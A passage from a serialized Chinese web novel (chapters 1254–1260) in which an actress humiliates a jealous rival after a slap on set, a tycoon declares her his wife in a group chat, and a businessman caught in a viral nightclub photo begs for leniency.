她抬眼,眸光如冰,直直刺向苏婉,“你明知道我皮肤薄,一碰就红,一打就肿,可你还是用了全力。苏婉,你真的……一点都没变。” 那语气轻描淡写,却字字诛心。 苏婉气得眼前发黑,头晕脑胀,理智几乎被愤怒与羞辱彻底吞噬。 她猛地抬手,又是一耳光狠狠甩过去,带着孤注一掷的疯狂,仿佛只要这一下能打碎温栩栩的从容,她就能赢回一点尊严。 可温栩栩连眼皮都没眨一下。 她漫不经心地抬起右手,稳稳地抓住苏婉挥来的手腕,力道不大,却精准得像一把铁钳,将她的手臂轻轻一扭,便甩到一旁。紧接着,她左手骤然探出,五指如钩,狠狠揪住苏婉的长发,用力一拽,逼迫她整个人向前踉跄,被迫仰头看向自己。 “啊——!”苏婉痛得尖叫,头皮像是要被撕裂,眼泪瞬间涌出,顺着脸颊滑落。 她拼命挣扎,双手去掰温栩栩的手,可对方的力道坚定得可怕,像铁铸的一般,纹丝不动。 温栩栩低头,俯视着她,近得能看清她眼底的恐惧与狼狈。 她的呼吸轻轻拂过苏婉的脸,声音低沉而冰冷:“打我一耳光的代价,已经很严重了。再来一耳光?”她冷笑一声,眼底闪过一丝杀意,“苏婉,你赔不起。” 她一字一顿,像在宣读判决书:“你以为你打的是我的脸?你打的是你的未来。那一巴掌,会被剪成短视频,被配上‘恶毒女配殴打无辜女主’的标题,被推上热搜榜首。你的粉丝会脱粉,你的品牌会解约,你的导演会把你踢出剧组。而我,只会收获同情与支持。” 她微微倾身,唇几乎贴上苏婉的耳廓,声音轻得像毒蛇吐信:“再来一次,你连退圈的机会都没有。” 苏婉浑身发抖,不是因为痛,而是因为恐惧。她终于意识到,温栩栩不是在吓唬她,她是真的能做到。她有黎云笙的资源,有资本的庇护,有舆论的掌控力。而她苏婉,不过是个被嫉妒与执念驱使的孤勇者,连退路都已经被温栩栩悄悄封死。 温栩栩看着她眼泪横流、满脸通红的模样,忽然笑了。 那笑容温柔,却比任何嘲讽都更让人绝望。 “苏婉,你要感谢我。”她轻声说,语气甚至带着一丝“善意”,“我又一次把你送上热搜了。”她顿了顿,笑意更深,“说不定,这次是头条哦。” “你……你这个疯子!”苏婉嘶吼,声音里带着哭腔,却毫无力量。 她拼命去扯自己的头发,指甲在温栩栩的手背上划出几道红痕,可对方连眉头都没皱一下。 温栩栩嗤了一声,终于松开手。 苏婉踉跄后退,跌坐在地,双手抱住头,整个人蜷缩成一团。 她的长发凌乱地散在脸上,混着泪水与汗水,狼狈不堪。 她抬头,眼眶通红,布满血丝,像一只被逼到绝境的野兽,既想反抗,又不敢再动。 “我今天就退出剧组!”她突然喊出声,声音颤抖却带着决绝。 这是她能想到的唯一办法了。 逃。立刻,马上,远远地离开这个让她窒息的地方。 她知道,再待下去,她会彻底崩溃。 他们两个剧组是紧挨着的,每天都能在走廊、在休息室、在片场偶遇。温栩栩的存在,像一根刺,扎在她心上。 更让她无法忍受的是,她听说自己剧组的导演正打算请温栩栩来客串,甚至已经开始了剧本讨论。 她苏婉,要眼睁睁看着温栩栩以“贵客”身份走进她的剧组,接受所有人的追捧与赞美,而她自己,却要低头退让,像个罪人。 她不能接受。 她玻璃心,她敏感,她骄傲,她受不了一点点异样的目光。 整个剧组的人都已经知道了她与温栩栩的冲突。她能感觉到,那些工作人员看她的眼神变了,不再是尊敬,不再是讨好,而是带着审视、怀疑、甚至鄙夷。 每一句议论,都像一把小刀,慢慢割着她的自尊。 她怕了。 她真的怕了。 第1255章 逃得掉吗 苏婉不想再被网暴,不想被品牌解约,不想被导演劝退,不想再看着温栩栩站在高处,用那种怜悯又嘲讽的眼神看她。 她不想再经历一次今天这样的羞辱,明明是她动手,可全世界都会说,是她苏婉欺负了温栩栩。 她只想跑。 “我退出……我马上走……”她喃喃自语,声音里带着哭腔,却努力挺直脊背,想维持最后一点尊严。 她挣扎着站起来,脚步虚浮,扶着墙一步步往后退,“从今以后,我不会再出现在你面前……你满意了吗?” 温栩栩站在原地,没有追,没有阻拦。 她只是静静地看着苏婉,像在看一场早已落幕的戏剧。 她的脸颊依旧红肿,唇角的血迹未干,可她的神情却平静得可怕。她轻轻抬手,再次抚过伤处,疼得微微蹙眉,可嘴角却扬起一抹极淡的笑。 “苏婉,”她终于开口,声音轻得像风,“你不是退出,你是被逐出。” 她顿了顿,眼神冷冽如霜:“你不是主动离开,而是被你的愚蠢、你的嫉妒、你的失控,一步步逼到了绝境。你不是输给了我,你是输给了你自己。” 苏婉脚步一顿,背对着温栩栩,肩膀微微颤抖。她没有回头,也不敢回头。她知道,温栩栩说得对。 她不是主动退出,她是被逼得无路可走。 苏婉抿唇,几乎是挣扎的开口:“我是退出剧组……我不是……不是被逐出。” 温栩栩忽然低低地笑了出来。那笑声并不大,却像一把细密的针,一根根扎进苏婉的胸口。 她微微歪头,发丝垂落,遮住半边红肿的脸颊,可那双眼睛,却亮得惊人,像是燃着冷火,灼烧着苏婉最后一丝尊严。 “退出剧组?”她声音轻缓,却字字如锤,“不就是怕了我?原来你真的想做一个临阵逃脱的失败者。” 她语气里没有愤怒,没有激动,只有一种近乎怜悯的嘲讽,像在看一只被逼到墙角、终于选择钻洞逃走的老鼠。 她缓缓向前迈了一步,声音随之抬高:“既然这么怕我,怎么不干脆离开帝城?离开国内,去国外发展?你想逃,那就逃得远一些才好啊。” 她语调轻佻,却字字如刀:“躲在一个没人认识你的地方,重新开始?可你逃得掉吗?苏婉,你逃得掉‘苏婉’这两个字吗?逃得掉你做过的事,你说过的话,你打过的耳光,你流过的眼泪?” 她扬眉,眸光如刃,直刺苏婉背影:“还是说……你根本不是为了躲我,而是因为你心里清楚,导演邀请我来跟你一起搭戏,你再也无法在镜头前趾高气昂地压我一头?你怕了,怕自己在戏里戏外,都成了我的陪衬,成了那个被光芒碾碎的影子。” 苏婉的脚步猛地顿住,像被钉在原地。 她的脊背僵硬,肩线紧绷,手指死死抠住墙沿,指节泛白。 她没有回头,可温栩栩知道,她听见了,每一个字,都像钉子一样,狠狠凿进她的骨髓。 “不会是因为知道导演想要请我跟你一起演对手戏,知道自己在剧组中待不下去了,才想跑路?”温栩栩的声音陡然冷了下来,带着洞穿一切的锐利,“你怕的不是我,是你自己。怕你演不过我,怕你压不住我,怕观众一眼就看出,谁才是真正的演员,谁才是值得被追捧的人。” 她缓步逼近,脚步声在寂静的庭院里格外清晰,像倒计时的钟摆,敲在苏婉的心上。 “只要你现在退出,”温栩栩的声音低沉而缓慢,像在宣读终审判决,“你这辈子,都会被钉在耻辱柱上。” 她停顿片刻,任由这句话在空气中发酵,然后一字一句地补充:“不管你以后出单曲、拍戏,或者做任何事,只要有人提起你,就会有人说——‘哦,苏婉啊’,就是那个在剧组里造谣生事、被揭穿后恼羞成怒动手打人、最后临阵脱逃、被逼退出的苏婉。” “胆小、恶毒、输不起。”温栩栩冷笑,“这三个标签,会跟着你一辈子。你逃得再远,也甩不掉。你演再多戏,也洗不净。你粉丝再多,也掩不住——你是个失败者。” 苏婉的呼吸骤然停滞,胸口像被巨石压住,连指尖都开始发麻。 她想反驳,想吼回去,可喉咙像被堵住,发不出一点声音。 温栩栩说的,一点没错。作为公众人物,她的每一个选择、每一次行为,都会被无限放大,被解读,被定性。而“退出剧组”这件事,一旦发生,就不再是“个人决定”,而是“溃败的证明”。 她可以想象,明天的热搜会是什么。 #苏婉退组# #苏婉被曝殴打温栩栩# #温栩栩回应被打# 她的名字会和“恶毒”“嫉妒”“失控”紧紧捆绑,而温栩栩,只会收获同情与敬佩。她甚至能看见粉丝脱粉的声明,品牌方解约的函件,导演摇头叹息的神情。 她不是没想过退,可她没想到,退,竟会成为另一种更彻底的失败。 她僵在原地,像一尊被风化的石像,连呼吸都变得艰难。 她的骄傲、她的自尊、她那点可怜的体面,全被温栩栩用最冷静、最残忍的方式,一层层剥开,暴晒在光天化日之下。 温栩栩看着她那副模样,倏地笑了。她抬手,轻轻捂住自己肿胀的脸颊,指尖触到那灼热的痛感,却毫不在意。 夜色如墨,庭院深处的灯光昏黄,像一层薄纱笼罩在两人之间。 空气仿佛凝固,只剩下苏婉急促的呼吸声,和温栩栩那从容不迫、却字字如刀的低语。 此刻,胜负早已分明,不是以掌声或奖杯来定义,而是以一个人是否还能挺直脊背、是否还能直视对方的眼睛来衡量。 苏婉清楚,温栩栩也清楚。 苏婉输了。彻彻底底,输在了心智、输在了格局、输在了那个她曾以为牢牢握在手中的“感情”上。 可她不甘心。她不甘心就这样被碾碎,被钉在“失败者”的耻辱柱上,被温栩栩用一句句轻描淡写的话,将她仅剩的尊严也剥得一干二净。 第1256章 拿什么跟我比 “你难道不害怕阿笙知道你这样恶毒吗?”苏婉终于开口,声音颤抖,却带着最后一丝挣扎的倔强。 她死死盯着温栩栩,像是要从她脸上找出一丝心虚、一丝动摇,“如果他知道你这样心机深沉、步步为营,他会怎么看你?他会厌恶你,会抛弃你!你别忘了,你不过是个孤儿院出身的孤女,没人撑腰,没人护着,你以为你凭什么站在这里耀武扬威?” 她越说越激动,声音拔高,带着几分歇斯底里的悲愤:“你这样对我,他更会看清你的心机有多重!阿笙不会允许你这样对我的!他从小护着我,疼着我,我们是一起长大的青梅竹马,他怎么可能为了你,舍弃我?” 她几乎是吼出来的,仿佛只要把“阿笙”这两个字喊得够响,就能唤回那点虚无缥缈的安全感。 她眼眶通红,泪水在眸中打转,却倔强地不肯落下。 她想用“过去”来压垮温栩栩,用“感情”来证明自己的不可替代。 可温栩栩只是笑了。 她笑得轻,笑得冷,笑得像冬日里结了冰的湖面,看似平静,底下却暗流汹涌。 “我的确不是黎云笙的青梅。”温栩栩缓缓开口,声音平静得可怕,“我也没有和他一起长大,没有共享过你们的童年,没有他亲手系过的围巾,也没有他为你挡过的雨。这些,我都没有。” 她顿了顿,目光如刃,直刺苏婉的心脏:“可恶毒的,到底是谁呢?” 她突然逼近一步,苏婉下意识后退,却被身后的墙角挡住去路,退无可退。 “我有主动攻击过你吗,苏婉?”温栩栩的声音陡然冷了下来,每一个字都像冰锥砸在地上,“是你先在剧组散播我靠潜规则上位的谣言,是你先买通八卦号写我私生活混乱,是你先动手打我。” 她一字一顿,像在读一份罪状:“而我,做的不都是在反击你的攻击?你造谣,我发律师函,你试图用舆论压死我,我就让舆论反过来碾碎你。我做的,哪一件是先动手?哪一件是无中生有?” 她逼近最后一步,几乎与苏婉鼻尖相对,眸光如寒星,冷冷注视着她:“你口口声声说‘恶毒’,可真正恶毒的人,是那个一边享受着黎云笙的庇护,一边用尽手段打压对手,还妄想用‘青梅’身份绑架感情的人,是你,苏婉。” 苏婉浑身一震,像被一记无形的耳光扇在脸上,踉跄着几乎站不稳。 她张了张嘴,却发不出声音。 她想反驳,可那些她做过的事,那些她自以为隐秘的手段,在温栩栩面前,竟被如此清晰地一一揭穿,毫无遮掩。 更让她心寒的是温栩栩说得没错。 她确实先动的手,先造的谣,先动的恶念。 而温栩栩,只是在自保,在反击,在用规则和手段,将她施加的伤害,原样奉还。 “至于黎云笙会选择谁……”温栩栩忽然笑了,那笑容里带着一丝讥诮,也带着一丝怜悯,“难道你自己心里不明白吗?” 她微微侧头,语气轻缓,却像重锤砸下:“宋律师是谁借给我的?你难道不清楚,是黎云笙亲自安排宋婉榕来处理我的名誉权案件?他都肯把宋婉榕借给我了,你还不明白我在他心里的分量?” 苏婉瞳孔骤缩,呼吸一滞。 宋婉榕,黎云笙的御用律师,业内最顶尖的危机公关专家,从不轻易出手。可温栩栩一出事,他立刻调派宋律师亲自介入,发函、取证、起诉,动作干净利落,毫不拖泥带水。 而她苏婉,也曾被黑过,也曾被造谣,可黎云笙从未为她动用过宋律师。他只是轻描淡写地说:“别理他们,清者自清。” 清者自清?可她被网暴时,谁来为她发声?谁来替她维权? 她突然意识到,黎云笙对她的“疼爱”,或许从来不是“偏爱”,而只是“习惯”。他是护着她,可那是一种对“旧人”的责任,一种对“过去”的怀念,而不是对“现在”的选择。 而温栩栩,才是他真正愿意为之动用资源、为之打破原则的人。 “你总觉得黎云笙看重你、在乎你。”温栩栩的声音低了下去,却更显锋利,“可他有为你请过宋律师吗?有为你发过律师函吗?有为你动用过任何实质性的资源吗?你被黑时,他只是让你‘别在意’而我被攻击时,他立刻派了宋婉榕。” 她冷笑:“你跟我比?你拿什么跟我比?拿你那点可怜的‘青梅情分’?还是拿你那点自以为是的‘被偏爱’?” 苏婉踉跄着后退,背死死抵着墙壁,仿佛那是她唯一能抓住的支撑。她的手在颤抖,心在颤抖,连灵魂都在颤抖。她想哭,却哭不出来;想喊,却喊不出声。 她想起小时候,自己是唯一能够接近黎云笙的异性,可真的是因为黎云笙对她有多深的感情吗?不是的,仅仅因为那个时候苏家的老宅跟黎家的老宅离得很近,而自己所在的苏家跟黎家算是世交,所以黎云笙肯屈尊降贵的跟她做朋友罢了。 她引以为傲的那些记忆此刻却像玻璃一样,被温栩栩的话一点点击碎。 如果他真的那么在乎她,为什么从不为她动真格? 如果他真的那么爱她,为什么从不为她动用真正的力量? 如果他真的视她为唯一,为什么在她被全网攻击时,他只是淡淡一句“别理”? 而温栩栩,不过是他半路相识的“新人”,却能让他亲自调派宋婉榕,为她铺路,为她出头,为她扫清一切障碍。 她突然慌了。 不是因为输给了温栩栩,而是因为她终于意识到,也许,黎云笙好像真的对她没有动过真感情。 否则就不会再这一次亲口对她说注意身份。 她一直以为,他们是青梅竹马,是命中注定,是无人能取代的羁绊。 可现在,苏婉都已经开始怀疑,那是不是只是她一个人的执念? 第1257章 彻底输了 是不是她一厢情愿地,把“习惯”当成了“爱”,把“责任”当成了“偏爱”? “你……你胡说!”她终于嘶喊出声,声音破碎,“阿笙不会这样对我的!他不会!” 可她的声音里,已经没有了底气。 温栩栩看着她,眼神终于有了一丝波动。 她不再冷笑,不再讥讽,只是静静地看着苏婉,像在看一个还在做梦的人。 “苏婉,”她轻声说,“你不是输给我,你是输给了现实。输给了你不敢面对的真相,黎云笙,或许从来就没有爱过你。所以你跟我比?你拿什么跟我比?” 苏婉的身体几乎摇摇欲坠,像一株被狂风骤雨摧折的枯树,勉强支撑着不倒下。 她的指尖死死抠住墙角,指节泛白,仿佛那是她与这个世界最后的连接。可她的灵魂,早已在温栩栩那句句如刀的话语中,碎成了无数片,散落在记忆的废墟里,再也拼不回原形。 她站在那里,眼神空洞,耳边回荡着温栩栩最后那句轻描淡写却致命的话:“你跟我比?你拿什么跟我比?” 那不是质问,是宣判。 是对她二十多年情感的彻底否定,是对她所有骄傲与依恋的无情碾压。 她满脑子翻涌着同一个问题,那么多年的感情,难道真的全部都是假的? 她和黎云笙,是从什么时候开始的?只不过是幼年时候初识经历过很多事。 那些细节,她曾一遍遍在深夜里咀嚼,当作慰藉孤独的糖。她以为,那些不是回忆,是爱的证据。是他们之间不可动摇的羁绊。可现在,温栩栩却用最冷静、最残酷的方式告诉她,那不是爱,只是怜悯,是习惯,是旧相识的体面。 “那她算什么?”苏婉在心里无声地嘶喊。 是那个被偏爱的青梅吗?可为什么,她被造谣时,他只说“清者自清”? 是那个被呵护的妹妹吗?可为什么,她最需要帮助时,他从未像对温栩栩那样,亲自调派宋婉榕,为她披荆斩棘? 她想起自己曾骄傲地对朋友说:“阿笙的公司是我一个人的,他为我建的。” 那时,她以为那是独一无二的宠爱,是爱情的证明。 可温栩栩却轻笑着揭穿:“那不是偏爱,只是顺便。” “他可以帮你,因为你是旧人。但他不会为你动用真正的资源,不会为你打破原则,不会为你亲力亲为,因为,他心里没有你。” 这句话,像一把钝刀,缓慢地割开她的心脏。 她终于明白,差距在哪里。 不是地位,不是能力,不是外貌。 是他在谁身上愿意付出真心,愿意动用底线,愿意打破规则。 他对温栩栩,会主动出击,会调派最顶尖的律师,会为她对抗整个舆论场。 而对她,他只是“存在”,只是“在场”,只是“不离开”。 可“不离开”不等于“爱”。 就像一棵树不会离开土地,但土地不会因此认为树爱它。 苏婉想哭,可泪水卡在喉咙里,像被无形的手扼住,流不出来。 她不是哭不出来,她是不敢。 她怕一哭,就彻底输了。 她怕在温栩栩面前露出软弱,换来更多轻蔑的笑。 她怕自己连最后一点尊严,都被踩进泥里。 她记得温栩栩逼近她时的眼神,没有愤怒,没有嫉妒,只有一种近乎悲悯的平静。 那眼神比任何嘲讽都更伤人。 因为它仿佛在说:“你还在挣扎,可结局早已注定。你还在相信过去,可他早已向前走了。” 是啊,他走了。 黎云笙,那个她以为会永远停在原地等她的人,早已转身,走向了另一个女人的世界。 而那个女人,不是靠青梅竹马的情分,不是靠多年的陪伴,而是靠被他真正看见、被他真心珍视,走进了他的生命核心。 苏婉终于意识到,她一直依赖的“感情”,或许从来不是爱情。 那只是她一厢情愿的执念。 她以为一起长大就是独一无二,以为他曾为她做过的事就是爱的证明,可她忘了真正的爱,是主动的,是排他的,是不惜代价的。 而黎云笙对她的所有好,都是被动的,是“顺手”回应的。 他为她建公司,是因为她无处可去,他为她说话,是因为她是他“认识的人”;他不让她难堪,是因为他本性良善。 可这些,都不是“爱”。 爱是黎云笙为温栩栩做的每一件事。 是他在她被攻击的第一秒就出手,是他愿意为她动用最珍贵的资源,甚至于……为她对黎家人动手。 那才是爱,是炽热的、坚定的、不容置疑的爱。 苏婉站在角落,感觉自己像一场盛大演出结束后,被遗忘在舞台上的道具。 曾经的光鲜亮丽,如今只剩灰尘。 她曾以为自己是女主角,可原来,她只是背景板,是衬托真正主角的影子。 她为这段感情付出了全部青春,小心翼翼地维护着“青梅”的身份,以为那是她的王牌,可到头来,那张牌,早已过时。 她不是输给了温栩栩的手段,不是输在了计谋或心机。 她是输在了她从未真正被爱过。 温栩栩没有给她更多反驳的机会,就这样撕扯开了她伪装的假面。 苏婉知道,这一刻,她的心已经碎了。 不是裂开,是粉碎。 像一面镜子,被狠狠砸在地上,每一片都映着过去的自己,可再也拼不回完整的模样。 她终于明白,为什么黎云笙从不为她请宋律师。 不是他吝啬,而是他不觉得她值得。 不是她不够好,而是,在他的世界里,她从未成为“必须守护”的那个人。 而温栩栩是那个人。 苏婉缓缓闭上眼,一滴泪终于滑落,无声地砸在地面上。 她没有擦,任由它流淌。 这一刻,她不再在乎是否丢脸,不再在乎是否被嘲笑。 因为她知道,真正的失败,不是输掉一场争斗,而是终于看清自己,从来不是他心尖上的人。 多年的情感,如一场盛大而虚幻的梦。 如今梦醒,只剩空荡的现实,和一颗被真相击穿的心。 她输了。 输得彻底,输得安静,输得连哭出声的力气都没有。 可她也终于,清醒了。 第1258章 你喜欢我老婆? “帝城帅炸苍穹”群 韩城:行啊,之前我被人造谣找你借宋律师你都舍不得,这次倒是让宋律师给温栩栩出面了?不是,我以前怎么没见你对我兄弟这么好啊?你现在对我兄弟壁对我还好,你什么情况?你到底什么意思?@黎云笙@黎云笙@黎云笙 黎云笙还没@ 出来,群先炸了。 黎云笙看完文件随意瞥了眼手机,正看到韩城的信息飘出来,心道姓韩的又骚什么呢。 点进去一看,哦,肖想温栩栩呢。 黎云笙呵了一声。 黎云笙:你喜欢我老婆? 群里本来还在刷着信息,嘀嘀咕咕说黎云笙不够兄弟还说他对温栩栩有什么想法,结果黎云笙一句话群里刹那间安静如鸡。 死寂。 沉默。 黎云笙很给面子的给他们几分钟时间消化这消息。 两分钟后,群再度炸了。 沉默的六个点成了所有人的回答。 盛景炎是有点不知道说什么,毕竟不久前黎云笙还是一脸不情愿的模样,谁知道现在就成老婆了?这才多久?转变这么快,明明前阵子见面黎云笙还不是这个态度。 韩城在群里面都已经开始嗷嗷叫了。 韩城:什么啊!什么啊!怎么就你老婆了!跟着你能捞到什么好啊! 黎云笙盯着群聊信息,韩城那句跟着他能捞到什么好还在群里明晃晃的挂着。 他面无表情的看着。 韩城在群里唧唧歪歪,黎云笙却根本不想理。 这次任是韩城在群里怎么抽疯黎云笙都没有再出来了。 …… 夜,沉得像墨。 李英杰独自坐在书房里,窗外是城市稀疏的灯火,映照着他苍白而憔悴的脸。 他穿着一件皱巴巴的丝质睡袍,领口松垮,露出内里被汗水浸湿的衬衫领子。 手指间夹着一支未点燃的烟,指尖微微发抖,眼神死死盯着手机屏幕,那张被全网疯传的照片,像一把烧红的刀,狠狠插进他的心脏。 照片上,是他自己,穿着当年那件张扬的黑色高定西装,领带歪斜,嘴角带着一丝轻佻的笑,正俯身向坐在卡座角落的温栩栩搭话。 而温栩栩,那时还只是个籍籍无名的小模特,穿着一条银色亮片短裙,眉眼清冷,眼神疏离。两人之间的距离近得几乎能感受到呼吸,而背景是霓虹闪烁、人影晃动的夜店“Venus”。 “李英杰夜店搭讪温栩栩,疑似曾欲包养?” 热搜标题像一记重锤,砸得他头晕目眩。 他记得那天,夜店音乐震耳欲聋,香槟塔在灯光下流转着奢靡的光。他刚拿下一个地产项目,心情大好,喝了几杯,目光扫过人群时,第一眼就锁定了温栩栩,她像一株开在暗处的白兰,清冷又勾人。他走过去,假装问路,实则是想探探她的口风:“小姐,一个人?要不要一起喝一杯?你一晚多少钱?” 那时的温栩栩只是冷冷看了他一眼,没说话,端起酒杯轻轻抿了一口,转身便走了。 他当时只当是碰了个软钉子,一笑置之,哪能想到,这个被他轻蔑打量的女人,如今会成为黎云笙的女人,成为娱乐圈的女星。 而现在,这张照片被人从监控录像中截出,配上煽动性文字,瞬间引爆舆论。 就是因为这张照片,都在嘲讽温栩栩跟老男人,对跟他这个男人有一腿。 话题轮番登上热搜。 李英杰看着评论区里铺天盖地的嘲讽与咒骂,冷汗顺着脊背滑下,浸透了衬衫。 他太清楚黎云笙是谁了。 黎家嫡系,商界阎罗,手段狠辣,从不留情。 更重要的是黎云笙护短到了近乎偏执的地步。 他完全不敢想象黎云笙接下来会怎么对付李家。 突然,书房门“砰”地被撞开。 他的妻子林婉如站在门口,穿着一件米白色的真丝睡裙,头发凌乱,眼眶通红,手里还攥着一个刚摔碎的水晶花瓶的碎片,指尖渗出血珠,她却像感觉不到疼。 “李英杰!”她声音嘶哑,带着哭腔,“你还有脸坐在这儿?你看看你干的好事!李家要被你毁了!你知不知道?!” 李英杰猛地抬头,看到她受伤的手,心口一紧:“婉如,你手……” “我手怎么了?!”她猛地将碎片扔在地上,发出清脆的碎裂声,“你还有脸关心我?你知不知道现在外面怎么说我们李家?说我们李家的男人都是色鬼!说我们得罪了黎家,迟早被清算!你知不知道圈子里多少人在看笑话?!” 她冲进来,一把抓起桌上的相框狠狠砸向墙壁,那是他们结婚时的合影,玻璃碎裂,照片歪斜地挂在墙上,像一段即将崩塌的婚姻。 “我嫁给你,图什么?图你有钱?图你有地位?可你呢?喝醉了就去夜店,你当自己是哪个暴发户?!”林婉如声音颤抖,眼泪终于滚落,“我为你生儿育女,为你打理家事,为你在圈子里周旋应酬,可你呢?你让我在所有人面前抬不起头!” 李英杰低下头,手指深深掐进掌心。 “我……我当时真的没想那么多。”他声音沙哑,“我只是……喝多了,一时糊涂。我没碰她,也没再联系她,我真的……” “一时糊涂?”林婉如冷笑,“你知不知道温栩栩现在是谁?她身边站着的是宋婉榕!黎云笙的御用律师!黎家的代言人!你动她,等于扇黎云笙的脸!你懂不懂?!” 她喘着气,胸口剧烈起伏,忽然蹲下身,抱着头呜呜哭起来:“我们儿子还在上国际学校,你爸的公司刚拿到新融资,你现在出这种事……黎家只要动一根手指,我们李家就得从这个圈子里消失!你明白吗?!” 李英杰看着她颤抖的肩膀,心里像被刀割。林婉如一向优雅端庄,是圈内有名的“名媛典范”,可此刻,她头发散乱,妆容哭花,睡裙上沾着玻璃渣,像个被逼到绝境的普通人。 他慢慢走过去,蹲下身,想抱她,却被她狠狠推开。 “别碰我!”她哭喊,“你知不知道我今天接了多少电话?姑妈问我是不是真的,表姐劝我赶紧离婚自保,连保姆都在背后议论!你说,你说我该怎么办?!” 第1259章 恳求 李英杰喉咙发紧,眼眶发红。他不是没良心的人,只是被欲望蒙了心。此刻看着妻子崩溃的模样,他才真正意识到,他不仅差点毁了自己,更差点毁了这个家。 “对不起……”他声音哽咽,“我真的……对不起你。” 他伸手,轻轻捡起她指尖的玻璃碎片,小心翼翼地放在一旁,又脱下睡袍披在她肩上。他的动作很轻,像怕惊扰一只受惊的鸟。 “我不是想包她。”他低声道,“我只是……那时候温栩栩还没名气,我以为她是那种人。我错了,我真的错了。我现在每天都在后悔,后悔那天为什么要走过去,为什么要开口……” 林婉如抬起头,泪眼朦胧地看着他:“那你现在打算怎么办?等黎家来找你?还是等舆论把你撕碎?” 李英杰沉默片刻,缓缓道:“我已经让公关团队准备声明,说是误会,是断章取义。我会公开道歉,说当时只是醉酒失言,对温小姐毫无冒犯之意。同时,我会以李氏集团名义向温栩栩工作室捐赠一笔慈善款,算是赔罪。” “有用吗?”林婉如冷笑,“你觉得黎云笙会在乎你那点钱?他在乎的是脸面,是尊严。你当众羞辱他的人,他会让你好过?” 李英杰闭上眼,额角青筋跳动。他知道她说得对。黎云笙不会善罢甘休。可他现在,真的没有别的办法了。 “我能做的,只有这些。”他声音低沉,“如果黎家要动手,我认。但我会尽量护住你和孩子,不会让你和李家因为我一个人的错,彻底毁掉。” 林婉如看着他,忽然觉得眼前这个男人陌生又熟悉。他西装革履时是意气风发的李总,可此刻,他蜷缩在地毯上,睡袍凌乱,眼神惶恐,像个走投无路的普通人。 她忽然想起二十年前,他们刚认识的时候。那时的李英杰还会为她撑伞,会记得她喜欢的花,会为她学做蛋糕。可什么时候开始,他变成了这样?在酒池肉林中迷失,在权力与欲望中沉沦? “你以前不是这样的。”她轻声说,语气里没有了愤怒,只剩疲惫。 李英杰低下头,手指无意识地摩挲着地毯上的烟灰:“是啊……我以前,也以为自己是个有底线的人。” 书房里陷入沉默。只有墙上的古董钟在“滴答、滴答”地走着,像在倒数着某种命运的来临。 窗外,天边已泛起一丝灰白。 “没有别的办法了……”李英杰喃喃自语,声音沙哑得像被砂纸磨过。 他缓缓站起身,双腿有些发麻,却站得笔直。他走到穿衣镜前,看着镜中那个双眼布满血丝、下颌泛起青茬的男人,忽然觉得陌生。这还是那个在酒会上谈笑风生、在谈判桌上运筹帷幄的李总吗?不过是一个被自己欲望拖入深渊的可怜虫。 他必须去见黎云笙。 不是以李氏集团董事长的身份,不是以圈中“前辈”的姿态,而是以一个犯了错、低头认罪的普通人,去求一个“放过”。 黎氏。 玻璃幕墙在晨光中泛着冷冽的银灰,像一座矗立于云端的权力之塔。 电梯无声滑升,地毯厚实,脚步轻得几乎听不见回响。 黎云笙的办公室在顶层,整层楼只属于他一人。巨大的落地窗前,城市在脚下延展,车流如蚁,楼宇如林。 他坐在宽大的黑檀木书桌后,一身剪裁极尽考究的深灰西装,领带系得一丝不苟,指尖轻轻翻动着一份文件,神情淡漠。 助理林砚端着一叠签字文件轻步走入,皮鞋踩在地毯上,几乎无声。他 将文件整齐摆放在桌角,动作利落,语气平稳:“黎总,李总想见您一面。” 黎云笙眉梢未动,目光仍落在文件上,语气淡得像在问天气:“哪个李总?” 林砚微微一顿,知道这个问题不过是形式。黎云笙从不会记不相关的人,更不会对一个“李总”上心。 他答得谨慎而精准:“那位曾跟温小姐有过一点渊源的李总。” “渊源?”黎云笙终于抬眼,眸色深沉,像寒潭映月,“你是说,夜店照片里的那个?” “是。”林砚垂眸,“李英杰。他在楼下贵宾厅等了两个多小时,说想亲自向您解释,网络上的事与他无关,他从未有意冒犯温小姐,更不敢对您不敬。” 黎云笙冷笑一声,将笔轻轻搁下,金属笔身与桌面碰撞,发出清脆的一响。 他合上文件,指尖在封面上轻轻一叩:“一个在夜店问女人‘包一晚多少钱’的人,现在跑来说自己清白?他当我是瞎的,还是当温栩栩是好欺负的?” 林砚垂首不语。 他知道黎云笙动了怒。这位向来喜怒不形于色的黎家掌权人,唯独在涉及温栩栩的事上,从不掩饰自己的偏执与护短。温栩栩是他划定的禁区,谁碰,谁死。 “让他滚。”黎云笙语气平静,却带着不容置疑的杀意。 林砚迟疑片刻,还是开口:“李总说……他知道温小姐是您的人后,吓得整夜未眠。他太太也闹得厉害,说李家若因他毁了,他就是罪人。他发誓,当年只是醉酒失言,从未有过实质举动,更没再联系过温小姐。他今天来,是想求您高抬贵手,只要您点头,他愿公开道歉,捐出三千万做慈善,只求黎氏不插手李氏的项目。” 黎云笙终于抬眼,眸光如刀:“他以为,我缺他那三千万?” “不是。”林砚低声,“他只是想表明态度,他没那个胆子冒犯您,更不敢觊觎温小姐。他今天来,没带保镖,没带助理,只一个人,穿着最朴素的西装,连表都没戴。他说……他不是来谈条件的,是来认错的。” 办公室陷入死寂。 窗外,城市喧嚣被玻璃阻隔,只余一片寂静。 黎云笙缓缓靠向椅背,指尖轻敲扶手,良久,他才开口,声音低沉而冷:“你去告诉他,只要他安分,黎氏不会对李氏做什么。” “是。”林砚点头,转身欲走。 “等等。”黎云笙忽然开口,“别让他上来。我不见他。” 林砚顿住,轻声应下:“明白。” 第1260章 就是觉得她可爱 楼下贵宾厅,李英杰正坐在沙发上,双手交叠放在膝上,脊背挺得笔直,却掩不住眼底的疲惫与焦虑。 他穿着一件深灰西装,没打领带,袖口微卷,露出手腕上那块早已停走的旧表,那是他父亲临终前给的,他今天特意戴上,像一种赎罪的仪式。 他面前的茶几上,一杯咖啡早已凉透,他却一口未动。 他不敢动,不敢大声说话,甚至不敢频繁看表。他像一尊被钉在座位上的雕像,等待着命运的宣判。 林砚推门而入时,李英杰猛地抬头,眼中闪过一丝光,随即又黯淡下去。 他立刻站起身,声音低沉而恭敬:“林助理……请问黎总愿意见我了吗?” 林砚摇头,语气平静:“黎总在开会,不便见客。” 李英杰脸色一白,嘴唇微颤,却仍强撑着点头:“我明白,我明白。那……那我能留下一封信吗?或者,您能不能帮我转达几句?我……我真的没有恶意。当年那件事,是我喝多了,一时糊涂,我连温小姐的手都没碰过,更没再联系她。我发誓,从知道她是黎总的人那天起,我连她的名字都不敢提。” 